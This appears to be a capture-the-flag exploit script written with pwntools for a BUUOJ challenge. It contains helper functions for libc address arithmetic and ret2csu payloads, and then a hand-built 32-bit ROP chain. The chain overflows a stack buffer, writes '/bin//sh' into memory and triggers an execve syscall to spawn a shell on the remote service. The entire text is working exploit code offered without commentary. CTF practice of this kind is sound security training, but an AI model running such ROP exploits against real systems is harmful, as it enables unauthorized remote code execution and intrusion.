from pwn import* from struct import pack
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27246 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) p = b'a' * (0xc+0x4) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea060) p += pack('<I', 0x080b8016) p += b'/bin' p += pack('<I', 0x0805466b) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea064) p += pack('<I', 0x080b8016) p += b'//sh' p += pack('<I', 0x0805466b) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea068) p += pack('<I', 0x080492d3) p += pack('<I', 0x0805466b) p += pack('<I', 0x080481c9) p += pack('<I', 0x080ea060) p += pack('<I', 0x080de769) p += pack('<I', 0x080ea068) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea068) p += pack('<I', 0x080492d3) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0806c943) io.sendline(p) io.interactive()
|